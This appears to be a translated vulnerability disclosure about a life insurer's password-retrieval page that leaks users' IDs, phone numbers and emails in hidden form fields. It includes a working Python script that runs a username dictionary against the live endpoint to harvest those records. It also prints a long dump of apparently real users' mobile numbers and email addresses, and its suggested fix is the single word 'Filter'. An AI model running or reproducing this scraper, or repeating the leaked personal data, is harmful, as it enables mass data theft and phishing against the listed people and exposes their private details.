Any user information can be queried if Guohua life insurance is improperly designed (with script)

Any user information can be queried if Guohua life insurance is improperly designed (with script)

Improper design, allows you to query any user information

The problem lies in China Life's password retrieval: http://eservice.95549.cn/eservice/login.action? Action = initGetPwd

Here, the User Name admin is used as an example.
 

Click Next to retrieve the email or mobile phone. However, you can view the source code and find that the user's username, email address, id, and phone number are displayed in the hidden form.
 

To prove the hazard of the vulnerability, I wrote a program and ran a username dictionary to capture the information returned from the source code.


 

74340 ,admin ,13888888888 ,[email protected]25143 ,ceshi ,13569696969 ,[email protected]98636 ,ceshi123 ,13112341234 ,[email protected]24683 ,test ,137614521452 ,[email protected]58876 ,test1 , ,[email protected]25180 ,test123 ,137652632563 ,[email protected]382391 ,3 ,12345678901 ,[email protected]59678 ,4 ,15367470003 ,[email protected]30047 ,11111111 ,15930123964 ,[email protected]3804 ,ada ,13989458552 ,[email protected]259994 ,admin2 ,13970828476 ,[email protected]23907 ,aileen ,15915136842 ,[email protected]72949 ,alina ,18664589126 ,[email protected]3801 ,allan ,13402136363 ,[email protected]1862 ,alvin ,13454135922 ,[email protected]32517 ,amy ,15007146967 ,[email protected]45353 ,andy ,18717988434 ,[email protected]116190 ,angela ,13610125057 ,[email protected]515831 ,ashley ,13482624672 ,[email protected]87826 ,austen ,13871040659 ,[email protected]12265 ,betty ,15221376822 ,[email protected]1226 ,billy ,13758289406 ,[email protected]59901 ,blue ,18256498090 ,[email protected]520975 ,brendan ,18913579646 ,[email protected]12948 ,candy ,15821901639 ,[email protected]515708 ,carrie ,13482625415 ,[email protected]46932 ,casper ,13361815021 ,[email protected]52208 ,chan ,15110250343 ,[email protected]6324 ,che ,13125152511 ,[email protected]6264 ,chen ,13057578769 ,[email protected]655357 ,cherish ,18632986968 ,[email protected]1012667 ,cherry ,18765409136 ,[email protected]641993 ,chester ,18101893378 ,[email protected]36864 ,chlo ,13649838096 ,[email protected]21566 ,chris ,13622862183 ,[email protected]76350 ,christine ,13413272050 ,[email protected]56129 ,clim ,13501338953 ,[email protected]388309 ,colleen ,18537261796 ,[email protected]25823 ,connie ,15800572677 ,[email protected]646994 ,constance ,15895206896 ,[email protected]1015838 ,cookie ,18765409136 ,[email protected]55003 ,corney ,13918473252 ,[email protected]522843 ,crystal ,13642308122 ,[email protected]7544 ,daisy ,13501751266 ,[email protected]15905 ,dale ,18916077340 ,[email protected]713560 ,daniel ,13609503241 ,[email protected]72017 ,denise ,18636665813 ,[email protected]23966 ,diana ,13641126749 ,[email protected]521229 ,earvin ,18149731709 ,[email protected]248395 ,edward ,18911008201 ,[email protected]352610 ,elaine ,15192042858 ,[email protected]1356 ,ellis ,15071210134 ,[email protected]35164 ,elroy ,13482101694 ,[email protected]32547 ,fan ,13640430576 ,[email protected]1920 ,george ,13776603248 ,[email protected]337965 ,gerald ,13346492862 ,[email protected]22725 ,gweneth ,15213416763 ,[email protected]282664 ,hailey ,13908103322 ,[email protected]586287 ,harrison ,18600758857 ,[email protected]27145 ,heather ,15801849840 ,[email protected]24648 ,helen ,18001867712 ,[email protected]64638 ,henry ,13370883397 ,[email protected]29110 ,honey ,13483025582 ,[email protected]68970 ,hunter ,13888888888 ,[email protected]3924 ,hyman ,15839418333 ,[email protected]695059 ,isabella ,13697087254 ,[email protected]72441 ,jack ,13607716434 ,[email protected]30267 ,jackie ,15007130001 ,[email protected]18185 ,jacky ,15011760441 ,[email protected]24106 ,james ,13910158805 ,[email protected]3824 ,jason ,15821645151 ,[email protected]457757 ,jasper ,13810920392 ,[email protected]16307 ,jeff ,13826052842 ,[email protected]522512 ,jefferson ,15015928101 ,[email protected]34129 ,jenny ,13715310019 ,[email protected]52275 ,jeremiah ,13817313802 ,[email protected]25175 ,jerry ,13788913629 ,[email protected]132614 ,jessica ,13590380407 ,[email protected]4183 ,jessie ,13651913458 ,[email protected]24701 ,jill ,13212312121 ,[email protected]632289 ,johnathan ,15999628656 ,[email protected]14985 ,kathie ,15010230038 ,[email protected]53924 ,kelly ,18383838383 ,[email protected]1410880 ,kelvin ,18320832154 ,[email protected]63951 ,kenny ,15269190215 ,[email protected]55263 ,kevin ,13661428900 ,[email protected]32805 ,kitty ,13337953008 ,[email protected]458194 ,krissy ,18681822715 ,[email protected]6084 ,laure ,051384118822 ,[email protected]1133 ,leda , ,[email protected]60027 ,leo ,13818806755 ,[email protected]10064 ,lida ,18817203631 ,[email protected]51345 ,lillian ,1367517122 ,[email protected]27844 ,lily ,13332435005 ,[email protected]25537 ,lina ,13780730795 ,[email protected]20206 ,lu ,13568907136 ,[email protected]279751 ,lucine ,15263358579 ,[email protected]12126 ,lynn ,13857181630 ,[email protected]1107 ,maggie ,15810120087 ,[email protected]24119 ,mandy ,13761706605 ,[email protected]9144 ,margy , ,taozhile@126.com1424999 ,martin ,18814391992 ,zongxue_ma@163.com87264 ,mattie ,18616020285 ,witwiky@qq.com40453 ,may ,13711836288 ,may16300@gmail.ocm515817 ,michael ,18321178463 ,michael98ll@163.com707381 ,mickey ,18628838588 ,371004554@qq.com2142 ,min ,13809213534 ,prm_629@126.com589443 ,minnie , ,25342 ,monica ,13580504025 ,785407188@qq.com1223 ,nana ,13816023395 ,weijg121@163.com515555 ,nathan ,13777050399 ,nathanzoe@gmail.com51842 ,nikolai ,18005588550 ,cgw18719@126.com73122 ,peter ,18980596081 ,peter_lzx@126.com423300 ,phyllis ,18358583537 ,1120915418@qq.com840103 ,prince ,13588448925 ,qinaijj@163.com62871 ,rebecca ,18730918880 ,dongbo66@sina.com71866 ,rena ,13875626703 ,rena_pp@163.com31005 ,rita ,13476011774 ,87225417@qq.com516261 ,robert ,13823250529 ,2571439435@qq.com45530 ,robin ,15815642134 ,505923244@qq.com35277 ,roy ,15810962302 ,470759395@qq.com713319 ,sabrina ,13382681977 ,304570926@qq.com59550 ,sally ,15999943981 ,610345778@qq.com697360 ,samson ,13944882266 ,samson0431@126.com587511 ,samuel ,13462451124 ,1551424@sina.com24592 ,sandy ,111111 ,summerflower012000@yahoo.com.cn16946 ,sanson ,13916518041 ,panasia1688@163.com132318 ,selena ,13815877775 ,13815877775@139.com64368 ,selene ,13996215942 ,16140694@qq.com521487 ,serena ,13435656327 ,774299438@qq.com62153 ,shadow ,13927791928 ,zxy5252@21cn.com1046496 ,sharon ,13156164340 ,abigailtsing@163.com704695 ,shepard ,15840957392 ,914617628@qq.com1191 ,sherry ,13512766211 ,wuhl@hotmail.com17665 ,shina ,13801026270 ,shinaonline@sohu.com372160 ,shirley ,13916051377 ,shirley_2789@hotmail.com25732 ,simon ,13711889955 ,simon_RQ@163.com3420 ,sky , ,chenwu@guohualife.com25655 ,sly ,15175147506 ,meijun251314@sina.com50383 ,sonja ,13815887554 ,sonja666@163.com18969 ,sophia ,13826156926 ,deuth@yahoo.cn128632 ,spencer ,13521251125 ,hllzq1314@163.com295236 ,stephen ,13801183691 ,stephenxu_522@sina.com

This vulnerability may cause risks such as phishing scams.

Python script
 

#! usr/bin/env python# -*- coding: utf-8 -*-import reimport urllib2import urllibHTTPHEADER = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\              'Accept-Charset':'GBK,utf-8;q=0.7,*;q=0.3',\              'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6',\              'Content-Type':'application/x-www-form-urlencoded'}def getPage(_url,data):    req = urllib2.Request(_url,headers = HTTPHEADER)    data=urllib.urlencode(data)    response = urllib2.urlopen(req,data)    page=response.read()    return pagedef get_info(page):regex=r'id="name" value="(?P
 
  .*?)"/>[\s\S]*?id="cid" value="(?P
  
   .*?)"/>[\s\S]*?id="mobile" value="(?P
   
    [\s\S]*?)"/>[\s\S]*?id="email" value="(?P
    
     .*?)"/>'patt = re.compile(regex)result=patt.search(page)if result:name=result.group('name')cid=result.group('cid')mobile=result.group('mobile')email=result.group('email')print namef=open('info.txt','a')f.write(cid+' ,'+name+' ,'+mobile+' ,'+email+'\n')else:passif __name__ == '__main__':_url='http://trade.95549.cn/eservice/login.action?action=getPwd'file_1=open('username.txt','r')for  i in file_1.readlines():i=i.replace('\n','')data = {'redirectURL':'', 'name':''+i+''}  #print data page=getPage(_url,data)get_info(page)
    
   
  
 

 

Solution:

Filter